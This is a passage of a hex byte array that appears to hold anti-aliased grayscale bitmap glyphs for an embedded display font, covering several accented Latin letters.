0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x2C, 0x2C, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x2C, 0x2C, 0x17, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCF, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE1, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x64,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xFD, 0xFF, 0xFF, 0xA2, 0x0D, 0xFF, 0xFF, 0xFF, 0x8B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0xF6, 0xFF, 0xFF, 0xBF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xE9, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0xD1, 0xFF, 0xFF, 0xFF,
0x6D, 0x00, 0x00, 0x00, 0x1D, 0xC6, 0xFF, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x7A, 0xFF, 0xFF, 0xFF,
0xFF, 0xD4, 0xAB, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x08, 0xB5, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD5, 0xA1, 0xFF, 0xFF, 0xA2, 0x00, 0x00, 0x06, 0xA6, 0xFB,
0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x95, 0x15, 0x8A, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x08,
0x36, 0x68, 0x70, 0x49, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x1E, 0x54, 0x54, 0x54, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0xCE, 0xFF, 0xFF, 0xFF, 0xD9, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x87, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E,
0xFD, 0xFF, 0xF8, 0x50, 0xF3, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xE0,
0xFF, 0xFF, 0x71, 0x00, 0x62, 0xFF, 0xFF, 0xEA, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xDC,
0xDC, 0xAC, 0x01, 0x00, 0x00, 0xA0, 0xDC, 0xDC, 0x7A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x2C, 0x2C, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x2C, 0x2C, 0x17, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCF, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE1, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x64,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xFD, 0xFF, 0xFF, 0xA2, 0x0D, 0xFF, 0xFF, 0xFF, 0x8B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0xF6, 0xFF, 0xFF, 0xBF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xE9, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0xD1, 0xFF, 0xFF, 0xFF,
0x6D, 0x00, 0x00, 0x00, 0x1D, 0xC6, 0xFF, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x7A, 0xFF, 0xFF, 0xFF,
0xFF, 0xD4, 0xAB, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x08, 0xB5, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD5, 0xA1, 0xFF, 0xFF, 0xA2, 0x00, 0x00, 0x06, 0xA6, 0xFB,
0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x95, 0x15, 0x8A, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x08,
0x36, 0x68, 0x70, 0x49, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D,
0x62, 0x62, 0x2C, 0x00, 0x2E, 0x62, 0x62, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,
0xFF, 0xFF, 0x7F, 0x00, 0x85, 0xFF, 0xFF, 0xFA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,
0xFF, 0xFF, 0x7F, 0x00, 0x85, 0xFF, 0xFF, 0xFA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,
0xFF, 0xFF, 0x7F, 0x00, 0x85, 0xFF, 0xFF, 0xFA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71,
0x76, 0x76, 0x36, 0x00, 0x39, 0x76, 0x76, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x2C, 0x2C, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x2C, 0x2C, 0x17, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCF, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE1, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x64,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xFD, 0xFF, 0xFF, 0xA2, 0x0D, 0xFF, 0xFF, 0xFF, 0x8B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0xF6, 0xFF, 0xFF, 0xBF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xE9, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0xD1, 0xFF, 0xFF, 0xFF,
0x6D, 0x00, 0x00, 0x00, 0x1D, 0xC6, 0xFF, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x7A, 0xFF, 0xFF, 0xFF,
0xFF, 0xD4, 0xAB, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x08, 0xB5, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD5, 0xA1, 0xFF, 0xFF, 0xA2, 0x00, 0x00, 0x06, 0xA6, 0xFB,
0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x95, 0x15, 0x8A, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x08,
0x36, 0x68, 0x70, 0x49, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x12, 0x43, 0x43, 0x43, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xAA, 0xFF, 0xFF, 0xFF, 0x8B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x4C, 0xFF, 0xFF, 0xFF, 0xA0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0C, 0xE2, 0xFF, 0xFF, 0xB1, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0xFF, 0xFF, 0xC0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xEA, 0xED, 0xC6, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x1F, 0x2C, 0x2C, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29,
0x2C, 0x2C, 0x1C, 0xB9, 0xFF, 0xFF, 0xFF, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20,
0xFF, 0xFF, 0xFF, 0xAD, 0x63, 0xFF, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x74, 0xFF, 0xFF, 0xFF, 0x55, 0x0F, 0xF7, 0xFF, 0xFF, 0xD0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC9, 0xFF, 0xFF, 0xF0, 0x08, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x24, 0x00, 0x00, 0x00, 0x00,
0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00,
0x00, 0x00, 0x73, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x00, 0x06, 0xED, 0xFF, 0xFF, 0xCC, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xE3, 0x01, 0x00, 0x00, 0x00, 0x97, 0xFF, 0xFF, 0xFF, 0x21,
0x00, 0x00, 0x00, 0x1D, 0xFE, 0xFF, 0xFF, 0x89, 0x00, 0x00, 0x00, 0x00, 0x3B, 0xFF, 0xFF, 0xFF,
0x75, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xFF, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x01, 0xDE, 0xFF,
0xFF, 0xC9, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xD2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83,
0xFF, 0xFF, 0xFF, 0x1E, 0x00, 0x1C, 0xFE, 0xFF, 0xFF, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x28, 0xFF, 0xFF, 0xFF, 0x72, 0x00, 0x6F, 0xFF, 0xFF, 0xFD, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xC6, 0x00, 0xC4, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x6F, 0xFF, 0xFF, 0xFE, 0x37, 0xFE, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x17, 0xFC, 0xFF, 0xFF, 0xDD, 0xFF, 0xFF, 0xF5, 0x0D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA3, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xF4, 0xFF, 0xFF, 0xFF, 0xDE, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA4, 0xFF, 0xFF, 0xFF, 0x7C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7B, 0xFF, 0xFF, 0xFC, 0x1B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0xFF, 0xAD,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF,
0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0B, 0xC9, 0xFF, 0xFF,
0xCF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xF5, 0xCF, 0xF4, 0xFF, 0xFF,
0xFF, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xC4, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFF, 0xFF, 0xFF,
0xFD, 0xA6, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x34, 0x47,
0x32, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x49, 0x62, 0x62, 0x3F, 0x00, 0x1A, 0x62, 0x62, 0x62, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xCC, 0xFF, 0xFF, 0xB3, 0x00, 0x51, 0xFF, 0xFF, 0xFF, 0x2E, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xCC, 0xFF, 0xFF, 0xB3, 0x00, 0x51, 0xFF, 0xFF, 0xFF, 0x2E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xCC, 0xFF, 0xFF, 0xB3, 0x00, 0x51, 0xFF, 0xFF, 0xFF, 0x2E, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x76, 0x76, 0x4E, 0x00, 0x21, 0x76, 0x76, 0x76, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1F, 0x2C, 0x2C, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x29, 0x2C, 0x2C, 0x1C, 0xB9, 0xFF, 0xFF, 0xFF, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x20, 0xFF, 0xFF, 0xFF, 0xAD, 0x63, 0xFF, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x74, 0xFF, 0xFF, 0xFF, 0x55, 0x0F, 0xF7, 0xFF, 0xFF, 0xD0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xC9, 0xFF, 0xFF, 0xF0, 0x08, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x24, 0x00, 0x00, 0x00,
0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xFF, 0x78, 0x00, 0x00,
0x00, 0x00, 0x00, 0x73, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x00, 0x06, 0xED, 0xFF, 0xFF, 0xCC, 0x00,
0x00, 0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xE3, 0x01, 0x00, 0x00, 0x00, 0x97, 0xFF, 0xFF, 0xFF,
0x21, 0x00, 0x00, 0x00, 0x1D, 0xFE, 0xFF, 0xFF, 0x89, 0x00, 0x00, 0x00, 0x00, 0x3B, 0xFF, 0xFF,
0xFF, 0x75, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xFF, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x01, 0xDE,
0xFF, 0xFF, 0xC9, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xD2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x83, 0xFF, 0xFF, 0xFF, 0x1E, 0x00, 0x1C, 0xFE, 0xFF, 0xFF, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x28, 0xFF, 0xFF, 0xFF, 0x72, 0x00, 0x6F, 0xFF, 0xFF, 0xFD, 0x1C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xC6, 0x00, 0xC4, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF, 0xFF, 0xFE, 0x37, 0xFE, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xFC, 0xFF, 0xFF, 0xDD, 0xFF, 0xFF, 0xF5, 0x0D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x44, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xF4, 0xFF, 0xFF, 0xFF, 0xDE, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA4, 0xFF, 0xFF, 0xFF, 0x7C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7B, 0xFF, 0xFF, 0xFC,
0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0xFF,
0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF,
0xFF, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0B, 0xC9, 0xFF,
0xFF, 0xCF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xF5, 0xCF, 0xF4, 0xFF,
0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xC4, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFF, 0xFF,
0xFF, 0xFD, 0xA6, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x34,
0x47, 0x32, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x46, 0x89, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x89, 0x1E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xF0, 0x0E, 0x00,
0x00, 0x00, 0x00, 0x3D, 0xFF, 0xFF, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x16, 0xFD, 0xFF, 0xC6, 0x39, 0x08, 0x0C, 0x4D, 0xE1, 0xFF, 0xD4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFD, 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x03, 0x97, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x45, 0x6E, 0x5E, 0x3D, 0x06,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xC8, 0xC8, 0xC8, 0x96, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xF4,
0xFF, 0xFF, 0xFF, 0xFC, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x23, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xFF, 0x7F, 0xFF, 0xFF,
0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
0xE0, 0xFF, 0xFF, 0xC6, 0x0C, 0xF6, 0xFF, 0xFF, 0xE2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x68, 0x00, 0xAB, 0xFF, 0xFF, 0xFF,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF,
0xF9, 0x11, 0x00, 0x53, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0E, 0xF5, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x08, 0xF2, 0xFF, 0xFF, 0xF1, 0x09,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x50, 0x00,
0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC4, 0xFF, 0xFF, 0xEC, 0x06, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xFF, 0xB4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xFF, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00,
